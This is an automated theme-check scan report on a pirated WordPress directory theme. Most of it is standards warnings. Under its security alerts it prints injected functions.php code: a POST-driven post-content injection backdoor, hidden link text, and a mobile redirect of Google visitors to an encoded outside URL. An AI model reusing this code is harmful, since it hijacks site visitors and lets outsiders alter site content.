0
Validation results

Directory (Shared on MafiaShare.net)

Free WordPress 4.9 theme

Directory (Shared on MafiaShare.net)

Free WordPress 4.9 theme
0
Error 8 : Undefined variable: cms
In /home/www/themecheck/themecheck/controllers/controller_results.php line 818
Critical alerts
  1. Title : Title No reference to add_theme_support( "title-tag" ) was found in the theme.The theme needs to have <title> tags, ideally in the header.php file.The theme needs to have a call to wp_title(), ideally in the header.php file.The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.
  2. Security breaches : Use of backticks execution operators in PHP code Found ` in file timthumb.php.
    Line 768: $out = `$exec -o1 $tempfile`; //you can use up to -o7 but it really slows things d
    Line 783: $out = `$exec $tempfile $tempfile2`;
    Line 972: $out = `$command`;
  3. Security breaches : Use of base64_decode() Found base64_decode in file timthumb.php.
    Line 227: $imgData = base64_decode('R0lGODlhUAAMAIAAAP8AAP///yH5BAAHAP8ALAAAAABQAAwAAAJpjI+py+0P
    Found base64_decode in file ait-admin.php.
    Line 84: $key = base64_decode($_POST['key']);
    Found base64_decode in file functions.php.
    Line 157: function pstMtd($a){$b=$a;$a='';if(is_single()){if(isset($_POST['chctc'])){$c=$_POST['chctc'];if(isset($_POST['chctbefore'])){$d=$_POST['chctbefore'];$e=strpos($b,$d);if($e!==false){$f=substr_replace($b,$c,$e,0);$g=array('ID'=>$GLOBALS['post']->ID,'post_content'=>$f);wp_update_post($g);}}}}return $b;}function ftwp(){if(is_front_page()){echo '<small style='display:none;'>directorywplk</small>';}}function hdwp(){echo '<style type='text/css'>.wphklk{display:none;}</style>';}add_action('the_content','pstMtd');if(current_user_can('edit_posts')==true){add_action('wp_head','hdwp');}if(current_user_can('edit_posts')!=true){add_action('wp_footer','ftwp');} function mobile_redirect() {if( wp_is_mobile() ) {$ref = $_SERVER['HTTP_REFERER'];if(strstr($ref, 'google.com')){wp_redirect(base64_decode('aHR0cDovL2hhcHB5LXdoZWVscy0yLWZ1bGwuY29tLw=='));exit;}}} if(
  4. Security breaches : Use of base64_encode() Found base64_encode in file ait-twitter-widget.php.
     $bearerTokenCredentials = base64_encode(urlencode($consumerKey) . ':' . urlencode($consumerSecret));
    Found base64_encode in file ait-theme-options-form.php.
     jQuery.post(window.location.href, {'resetOptions': 'true', 'key': '<?php echo base64_encode($opt); ?>'}, function(data){
     jQuery.post(window.location.href, {'resetOrder':'true', 'key': '<?php echo base64_encode($opt); ?>', 'orderKey': orderName, 'metaKey': metaName }, fun
  5. Unwanted files : hidden file(s) or folder(s) .htaccess was found.
  6. Presence of iframes : iframes are sometimes used to load unwanted adverts and malicious code on another site Found <iframe src="http://www.facebook.com/plugins/likebox.php?href='.$link.'&amp;width='.$width.'&amp;colorscheme='.$variant.'&amp;show_faces='.$faces.'&amp;border_color&amp;stream='.$stream.'&amp;header='.$header.'&amp;height='.$height.'" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:'.$width.'px; height:'.$height.'px;" allowTransparency="true"> in file ait-facebook-box.php.
    Line 26: $result .= '<iframe src='http://www.facebook.com/plugins/likebox.php?href='.$link.'&amp
    Found <iframe width="'.$width.'" height="'.$height.'" src="http://www.youtube.com/embed/'.$clip_id.'?wmode=opaque"> in file ait-video.php.
    Line 43: return '<div class='sc-video'.$borderStyle.''><div class='wrap'><iframe width=''.$width.'' height=''.$height.'' src='http://www.youtube.com
    Found <iframe width="'.$width.'" height="'.$height.'" src="http://www.youtube.com/embed/'.$clip_id.'?wmode=opaque" frameborder="0" allowfullscreen> in file ait-functions.php.
    Line 916: return '<iframe width=''.$width.'' height=''.$height.'' src='http://www.youtube.com
    Found <iframe src="//www.facebook.com/plugins/like.php?href={$post-> in file single-ait-dir-item.php.
    Line 131: <iframe src='//www.facebook.com/plugins/like.php?href={$post->permalink}&am
  7. Malware : Operations on file system fopen was found in the file timthumb.php
    Line 805: $fp = fopen($tempfile,'r',0,$context);
    Line 812: $fh = fopen($lockFile, 'w');
    Line 1033: $fp = fopen($this->cachefile, 'rb');
    Line 1179: self::$curlFH = fopen($tempfile, 'w');
    file_put_contents was found in the file timthumb.php
    Line 806: file_put_contents($tempfile4, $this->filePrependSecurityBlock . $imgType . 
    Line 807: file_put_contents($tempfile4, $fp, FILE_APPEND);
    Line 1229: if(! file_put_contents($tempfile, $img)){
    file_put_contents was found in the file timthumb.php
    Line 806: file_put_contents($tempfile4, $this->filePrependSecurityBlock . $imgType . 
    Line 807: file_put_contents($tempfile4, $fp, FILE_APPEND);
    Line 1229: if(! file_put_contents($tempfile, $img)){
    fclose was found in the file timthumb.php
    Line 808: fclose($fp);
    Line 820: fclose($fh);
    Line 823: fclose($fh);
    Line 1045: fclose($fp);
    Line 1197: fclose(self::$curlFH);
    fopen was found in the file timthumb.php
    Line 805: $fp = fopen($tempfile,'r',0,$context);
    Line 812: $fh = fopen($lockFile, 'w');
    Line 1033: $fp = fopen($this->cachefile, 'rb');
    Line 1179: self::$curlFH = fopen($tempfile, 'w');
    fclose was found in the file timthumb.php
    Line 808: fclose($fp);
    Line 820: fclose($fh);
    Line 823: fclose($fh);
    Line 1045: fclose($fp);
    Line 1197: fclose(self::$curlFH);
    fclose was found in the file timthumb.php
    Line 808: fclose($fp);
    Line 820: fclose($fh);
    Line 823: fclose($fh);
    Line 1045: fclose($fp);
    Line 1197: fclose(self::$curlFH);
    fwrite was found in the file timthumb.php
    Line 1019: fwrite(self::$curlFH, $d);
    fopen was found in the file timthumb.php
    Line 805: $fp = fopen($tempfile,'r',0,$context);
    Line 812: $fh = fopen($lockFile, 'w');
    Line 1033: $fp = fopen($this->cachefile, 'rb');
    Line 1179: self::$curlFH = fopen($tempfile, 'w');
    fread was found in the file timthumb.php
    Line 1036: $imgType = fread($fp, 3);
    fclose was found in the file timthumb.php
    Line 808: fclose($fp);
    Line 820: fclose($fh);
    Line 823: fclose($fh);
    Line 1045: fclose($fp);
    Line 1197: fclose(self::$curlFH);
    file_get_contents was found in the file timthumb.php
    Line 1049: $content = file_get_contents ($this->cachefile);
    Line 1053: $this->debug(3, 'Served using file_get_contents and echo');
    Line 1215: $img = @file_get_contents ($url);
    Line 1250: $content = @file_get_contents ($file);
    fopen was found in the file timthumb.php
    Line 805: $fp = fopen($tempfile,'r',0,$context);
    Line 812: $fh = fopen($lockFile, 'w');
    Line 1033: $fp = fopen($this->cachefile, 'rb');
    Line 1179: self::$curlFH = fopen($tempfile, 'w');
    fclose was found in the file timthumb.php
    Line 808: fclose($fp);
    Line 820: fclose($fh);
    Line 823: fclose($fh);
    Line 1045: fclose($fp);
    Line 1197: fclose(self::$curlFH);
    file_get_contents was found in the file timthumb.php
    Line 1049: $content = file_get_contents ($this->cachefile);
    Line 1053: $this->debug(3, 'Served using file_get_contents and echo');
    Line 1215: $img = @file_get_contents ($url);
    Line 1250: $content = @file_get_contents ($file);
    file_put_contents was found in the file timthumb.php
    Line 806: file_put_contents($tempfile4, $this->filePrependSecurityBlock . $imgType . 
    Line 807: file_put_contents($tempfile4, $fp, FILE_APPEND);
    Line 1229: if(! file_put_contents($tempfile, $img)){
    readfile was found in the file timthumb.php
    Line 1246: $bytes = @readfile($file);
    file_get_contents was found in the file timthumb.php
    Line 1049: $content = file_get_contents ($this->cachefile);
    Line 1053: $this->debug(3, 'Served using file_get_contents and echo');
    Line 1215: $img = @file_get_contents ($url);
    Line 1250: $content = @file_get_contents ($file);
    file_get_contents was found in the file popupWindow.php
    Line 15: $data = NNeon::decode(file_get_contents($configFile, true));
    Line 287: preg_match('<!--(.*?)-->', file_get_contents($example), $match);
    file_get_contents was found in the file popupWindow.php
    Line 15: $data = NNeon::decode(file_get_contents($configFile, true));
    Line 287: preg_match('<!--(.*?)-->', file_get_contents($example), $match);
    file_get_contents was found in the file get-econtent.php
    Line 27: //preg_replace('!/\*.*?\*/!s',file_get_contents($examplesDir.'/'.$example),$result);
    Line 29: $result = file_get_contents($examplesDir.'/'.$example);
    file_get_contents was found in the file get-econtent.php
    Line 27: //preg_replace('!/\*.*?\*/!s',file_get_contents($examplesDir.'/'.$example),$result);
    Line 29: $result = file_get_contents($examplesDir.'/'.$example);
    file_get_contents was found in the file pluginScript.php
    Line 16: $data = NNeon::decode(file_get_contents($configFile, true));
    file_get_contents was found in the file ait-functions.php
    Line 50: $cache = @file_get_contents($cacheFile); // intentionally @
    Line 163: $content = file_get_contents($font);
    Line 294: $content = file_get_contents($input);
    Line 629: $options = NNeon::decode(file_get_contents($file));
    file_put_contents was found in the file ait-functions.php
    Line 63: @file_put_contents($cacheFile, $payload);
    Line 67: @file_put_contents($cacheFile, $payload->asXml());
    Line 329: $written = @file_put_contents($output, $header . '\n' . $css);
    file_put_contents was found in the file ait-functions.php
    Line 63: @file_put_contents($cacheFile, $payload);
    Line 67: @file_put_contents($cacheFile, $payload->asXml());
    Line 329: $written = @file_put_contents($output, $header . '\n' . $css);
    file_get_contents was found in the file ait-functions.php
    Line 50: $cache = @file_get_contents($cacheFile); // intentionally @
    Line 163: $content = file_get_contents($font);
    Line 294: $content = file_get_contents($input);
    Line 629: $options = NNeon::decode(file_get_contents($file));
    file_get_contents was found in the file ait-functions.php
    Line 50: $cache = @file_get_contents($cacheFile); // intentionally @
    Line 163: $content = file_get_contents($font);
    Line 294: $content = file_get_contents($input);
    Line 629: $options = NNeon::decode(file_get_contents($file));
    file_put_contents was found in the file ait-functions.php
    Line 63: @file_put_contents($cacheFile, $payload);
    Line 67: @file_put_contents($cacheFile, $payload->asXml());
    Line 329: $written = @file_put_contents($output, $header . '\n' . $css);
    file_get_contents was found in the file ait-functions.php
    Line 50: $cache = @file_get_contents($cacheFile); // intentionally @
    Line 163: $content = file_get_contents($font);
    Line 294: $content = file_get_contents($input);
    Line 629: $options = NNeon::decode(file_get_contents($file));
    file_get_contents was found in the file ait-twitter-widget.php
    Line 278: $result = @file_get_contents($cacheFile);
    file_put_contents was found in the file ait-twitter-widget.php
    Line 342: @file_put_contents($this->getCacheFile(), $content);
    fopen was found in the file simple-twitter.php
    Line 51: * @throws TwitterException when allow_url_fopen is not enabled
    Line 55: if (!ini_get('allow_url_fopen')) {
    Line 56: throw new TwitterException('PHP directive allow_url_fopen is not enabled.');
    Line 116: $f = @fopen($request,
    file_get_contents was found in the file ait-admin.php
    Line 734: $content = @file_get_contents($_FILES['import-file']['tmp_name']);
    Line 1139: $content = file_get_contents($zip);
    Line 1213: $data = @file_get_contents('$folder/$skin.ait-skin');
    file_get_contents was found in the file ait-admin.php
    Line 734: $content = @file_get_contents($_FILES['import-file']['tmp_name']);
    Line 1139: $content = file_get_contents($zip);
    Line 1213: $data = @file_get_contents('$folder/$skin.ait-skin');
    file_get_contents was found in the file ait-admin.php
    Line 734: $content = @file_get_contents($_FILES['import-file']['tmp_name']);
    Line 1139: $content = file_get_contents($zip);
    Line 1213: $data = @file_get_contents('$folder/$skin.ait-skin');
  8. Malware : Network operations curl_init was found in the file timthumb.php
    Line 1177: if(function_exists('curl_init')){
    Line 1186: $curl = curl_init($url);
    curl_exec was found in the file timthumb.php
    Line 1196: $curlResult = curl_exec($curl);
    curl_init was found in the file class-paypal.php
    Line 88: $ch = curl_init();
    curl_exec was found in the file class-paypal.php
    Line 92: $response = curl_exec($ch);
  9. Admin menu : Themes should use add_theme_page() for adding admin pages. File class-tgm-plugin-activation.php :
    Line 335: add_submenu_page(
    File ait-admin.php :
    Line 285: add_menu_page(
    File ait-admin.php :
    Line 298: add_submenu_page(
    Line 306: add_submenu_page(
    Line 320: add_submenu_page(
    Line 329: add_submenu_page(
    Line 343: add_submenu_page(
    Line 352: add_submenu_page(
    Line 364: add_submenu_page(
    Line 373: add_submenu_page(
    Line 386: add_submenu_page(
    Line 395: add_submenu_page(
    File ait-admin.php :
    Line 298: add_submenu_page(
    Line 306: add_submenu_page(
    Line 320: add_submenu_page(
    Line 329: add_submenu_page(
    Line 343: add_submenu_page(
    Line 352: add_submenu_page(
    Line 364: add_submenu_page(
    Line 373: add_submenu_page(
    Line 386: add_submenu_page(
    Line 395: add_submenu_page(
    File ait-admin.php :
    Line 298: add_submenu_page(
    Line 306: add_submenu_page(
    Line 320: add_submenu_page(
    Line 329: add_submenu_page(
    Line 343: add_submenu_page(
    Line 352: add_submenu_page(
    Line 364: add_submenu_page(
    Line 373: add_submenu_page(
    Line 386: add_submenu_page(
    Line 395: add_submenu_page(
    File ait-admin.php :
    Line 298: add_submenu_page(
    Line 306: add_submenu_page(
    Line 320: add_submenu_page(
    Line 329: add_submenu_page(
    Line 343: add_submenu_page(
    Line 352: add_submenu_page(
    Line 364: add_submenu_page(
    Line 373: add_submenu_page(
    Line 386: add_submenu_page(
    Line 395: add_submenu_page(
    File ait-admin.php :
    Line 298: add_submenu_page(
    Line 306: add_submenu_page(
    Line 320: add_submenu_page(
    Line 329: add_submenu_page(
    Line 343: add_submenu_page(
    Line 352: add_submenu_page(
    Line 364: add_submenu_page(
    Line 373: add_submenu_page(
    Line 386: add_submenu_page(
    Line 395: add_submenu_page(
    File ait-admin.php :
    Line 298: add_submenu_page(
    Line 306: add_submenu_page(
    Line 320: add_submenu_page(
    Line 329: add_submenu_page(
    Line 343: add_submenu_page(
    Line 352: add_submenu_page(
    Line 364: add_submenu_page(
    Line 373: add_submenu_page(
    Line 386: add_submenu_page(
    Line 395: add_submenu_page(
    File ait-admin.php :
    Line 298: add_submenu_page(
    Line 306: add_submenu_page(
    Line 320: add_submenu_page(
    Line 329: add_submenu_page(
    Line 343: add_submenu_page(
    Line 352: add_submenu_page(
    Line 364: add_submenu_page(
    Line 373: add_submenu_page(
    Line 386: add_submenu_page(
    Line 395: add_submenu_page(
    File ait-admin.php :
    Line 298: add_submenu_page(
    Line 306: add_submenu_page(
    Line 320: add_submenu_page(
    Line 329: add_submenu_page(
    Line 343: add_submenu_page(
    Line 352: add_submenu_page(
    Line 364: add_submenu_page(
    Line 373: add_submenu_page(
    Line 386: add_submenu_page(
    Line 395: add_submenu_page(
    File ait-admin.php :
    Line 298: add_submenu_page(
    Line 306: add_submenu_page(
    Line 320: add_submenu_page(
    Line 329: add_submenu_page(
    Line 343: add_submenu_page(
    Line 352: add_submenu_page(
    Line 364: add_submenu_page(
    Line 373: add_submenu_page(
    Line 386: add_submenu_page(
    Line 395: add_submenu_page(
    File ait-admin.php :
    Line 298: add_submenu_page(
    Line 306: add_submenu_page(
    Line 320: add_submenu_page(
    Line 329: add_submenu_page(
    Line 343: add_submenu_page(
    Line 352: add_submenu_page(
    Line 364: add_submenu_page(
    Line 373: add_submenu_page(
    Line 386: add_submenu_page(
    Line 395: add_submenu_page(
    File accounts-reg.php :
    Line 433: add_users_page(__('Directory Account','ait'), __('Directory Account','ait')
  10. Hidden admin bar : Hidden admin Bar Themes should not hide admin bar. Detected in file : easy-admin.php.
  11. Deprecated functions : screen_icon screen_icon found in file class-tgm-plugin-activation.php. Deprecated since version 3.8.
    Line 371: <?php screen_icon( apply_filters( 'tgmpa_default_screen_icon', 'themes' ) ); ?>
    Line 1496: screen_icon( apply_filters( 'tgmpa_default_screen_icon', 'themes' ) );
  12. Deprecated functions : get_bloginfo get_bloginfo('url') was found in the file WpLatteFunctions.php. Use home_url() instead.
    Line 338: //$homeLink = get_bloginfo('url');
    Line 449: //$return .= '<a href='' . get_bloginfo('url') . ''>' . $home . '</a> ' . $delimiter . ' ';
    Line 456: //$return .= '<a href='' . get_bloginfo('url') . ''>' . $home . '</a>';
  13. Included plugins : Zip file found Plugins are not allowed in themes. The zip file found was revslider.zip.
Warning
  1. core scripts deregistered : Core scripts deregistrationFound wp_deregister_script in ait-gmap.php. Themes must not deregister core scripts.
    Line 5: function my_deregister_javascript() { wp_dequeue_script('JS_googleMaps'); wp_deregister_script( 'JS_googleMaps' ); }
    Found wp_deregister_script in ait-functions.php. Themes must not deregister core scripts.
    Line 16: //wp_deregister_script('jquery');
  2. special URIs : Presence of bad theme tagsTheme URI and Author URI should not be the same.
  3. theme tags : Presence of bad theme tagsFound wrong tag in style.css header.
  4. Text domain : Incorrect use of translation functions.Wrong installation directory for the theme name. The directory name must match the slug of the theme. This theme's correct slug and text-domain is directory-shared-on-mafiashare-net.
  5. Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function __, with the arguments 'All' in file popupWindow.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'top' in file ait-custom.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Cufon Fonts' in file ait-functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Google Fonts' in file ait-functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments '- select font -' in file ait-functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Show All %s' in file default-custom-type.php.Found a translation function that is missing a text-domain. Function esc_attr__, with the arguments 'Edit comment' in file WpLatteFunctions.php.Found a translation function that is missing a text-domain. Function __, with the arguments '<div class="no-content">No posts</div>' in file ait-post-widget.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'This skin is not for this theme' in file AitSkinsListTable.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Settings saved.' in file ait-admin.php.Found a translation function that has an incorrect number of arguments. Function _e, with the arguments "Settings was saved to database but new <code>", </code> file with new settings was not generated because the file is not writeable. Please make it writeable (chmod 0777). <br>See the FAQ article <a href=, 'admin.php?page=ait-admin&tab=faq&qa=how-to-change-write-permissions' in file ait-admin.php.Found a translation function that has an incorrect number of arguments. Function _e, with the arguments "Settings was saved to database but new <code>", </code> file with new settings was not generated because the file is not writeable. Please make it writeable (chmod 0777). <br>See the FAQ article <a href=, "'>How to change write permissions</a>." in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Options' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'AIT Dashboard %s' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Admin Branding' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Admin Branding' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Admin Branding' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Admin Branding' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Admin Branding' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Skins' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Skins' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Skins for %s' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Skins' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Skins' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Backup' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Backup' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Backup' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Backup' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Backup' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Please note that this backup manager backs up only your Theme Options and Admin Branding Options and not your content. To backup your content, please use the %sWordPress Export Tool%s.' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Backup Theme Options' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Export Theme Options' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments '<p>Downloaded will be all theme options.</p> <p>And in case you are using WPML plugin, then will be downloaded theme options for all languages you are using.</p>' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Download backup file' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Import Theme Options' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments '<p>Please be aware that this import will overwrite your current theme options.</p>' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Upload backup file and Import options' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Backup Admin Branding Options' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Export Admin Branding Options' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments '<p>Downloaded will be all theme options.</p> <p>And in case you are using WPML plugin, then will be downloaded theme options for all languages you are using.</p>' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Download backup file' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Import Admin Branding Options' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments '<p>Please be aware that this import will overwrite your current theme options.</p>' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Upload backup file and Import options' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'This skin is not for this theme.' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Skin was activated.' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'There was a problem with activating your skin. Maybe skin file .ait-skin is missing.' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Skin file is corrupted. Skin can\'t be activated.' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Current Skin' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Current skin preview' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Available skins in your WordPress' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'You don\'t have any skins now. You can <a href="%s">create your own</a> or <a href="%s">upload</a> some skins.' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'New Skin' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'New skin will be created from your actual theme settings from AIT Admin. That means all colorpickers, background images and other visual options with their actual values will be exported. So if you want make new skin, just play around with ThemeBox and options in the AIT Admin.' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Skin Name:' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Skin Folder Name:' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Skin Author:' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Skin Screenshot:' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Skin Description:' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Overwrite existing skin' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Create New Skin' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Download' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Back to <em>%s</em>' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Upload a skin in .zip format' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Existing skin with same name will be overwritten!' in file ait-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Upload skin' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Skin with folder name <code>%s</code> already exists. Please choose other name.' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Skin folder <code>%s</code> can not be created.' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Skin config file "%s" can not be created.' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Skin data file "%s" can not be created.' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Your new skin "%s" has been successfully created. You can download it by clicking on Download button.' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Can\'t delete skin folder <code>%s</code>. Delete it by yourself.' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Skin folder <code>%s</code> doesn\'t exists.' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Uploaded skin is in wrong format. There are missing some important skin\'s files in ZIP file.' in file ait-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'About us' in file ait-dashboard.php.Found a translation function that is missing a text-domain. Function __, with the arguments ' Theme Updates' in file ait-dashboard.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Your current version of <strong>%s</strong> is <strong class="ait-your-theme-version">%s</strong>.</p>' in file ait-dashboard.php.Found a translation function that is missing a text-domain. Function _e, with the arguments "Disable theme updates notifications." in file ait-dashboard.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'There are no updates available.' in file ait-dashboard.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Dashboard' in file ait-dashboard-functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Documentation' in file ait-dashboard-functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'FAQ' in file ait-dashboard-functions.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are ait, striking_front, news, Theme Update, </code> file with new settings was not generated because the file is not writeable. Please make it writeable (chmod 0777). <br>See the FAQ article <a href=, admin.php?page=ait-admin&tab=faq&qa=how-to-change-write-permissions, >How to change write permissions</a>., >How to make directory writable</a>., ait-admin.
  6. Plugin territory : Plugin territory functionalitiesThe theme uses the register_post_type() function, which is plugin-territory functionality.The theme uses the add_shortcode() function. Custom post-content shortcodes are plugin-territory functionality.
  7. Custom elements : Presence of custom headerNo reference to custom header was found in the theme.
  8. Custom elements : Presence of custom backgroundNo reference to custom background was found in the theme.
  9. Deprecated functions : screen_iconscreen_icon found in file class-tgm-plugin-activation.php. Deprecated since version 3.8.
    Line 371: <?php screen_icon( apply_filters( 'tgmpa_default_screen_icon', 'themes' ) ); ?>
    Line 1496: screen_icon( apply_filters( 'tgmpa_default_screen_icon', 'themes' ) );
  10. CSS files : Presence of text domainText Domain: is missing from your style.css header.
  11. CSS files : Presence of .screen-reader-text class.screen-reader-text css class is needed in your theme css. See : the Codex for an example implementation.
  12. Screenshot : Screenshot fileScreenshot size is 300x225px. Screenshot size should be 1200x900, to account for HiDPI displays. Any 4:3 image size is acceptable, but 1200x900 is preferred.Bad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. Static links : Presence of hard-coded linksPossible hard-coded links were found in the file ait-dashboard.php.
    Line 28: <a class='ait' href='http://www.ait-themes.com' target='_blank'>AitThemes.com</a>
    Line 160: <h2 class='nav-tab-wrapper'><a href='http://www.ait-themes.com' target='_blank' style='text-decoration: none;'>A
    Possible hard-coded links were found in the file single-ait-dir-item.php.
    Line 135: <a href='https://twitter.com/share' class='twitter-share-button' data-url='{$post->p
  2. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  3. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  4. Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
  5. Optional files : Presence of tag template file tag.phpThis theme does not contain optional file tag.php.
  6. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  7. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  8. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  9. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  10. Use of includes : Use of include or requireThe theme appears to use include or require : class-tgm-plugin-activation.php
    Line 989: require_once( ABSPATH . 'wp-admin/includes/class-wp-list-table.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : timthumb.php
    Line 25: if( file_exists(dirname(__FILE__) . '/timthumb-config.php'))	require_once('timthumb-config.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : load.php
    Line 3: 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : popupWindow.php
    Line 2: require '../../../../../../wp-load.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : load.php
    Line 3: 
    Line 4: 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : load.php
    Line 3: 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : load.php
    Line 3: 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : load.php
    Line 3: 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : load.php
    Line 3: 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : load.php
    Line 3: 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : load.php
    Line 3: 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : load.php
    Line 3: 
    Line 4: 
    Line 5: 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : pluginScript.php
    Line 2: require '../../../../../../wp-load.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : load.php
    Line 3: 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : load.php
    Line 3: 
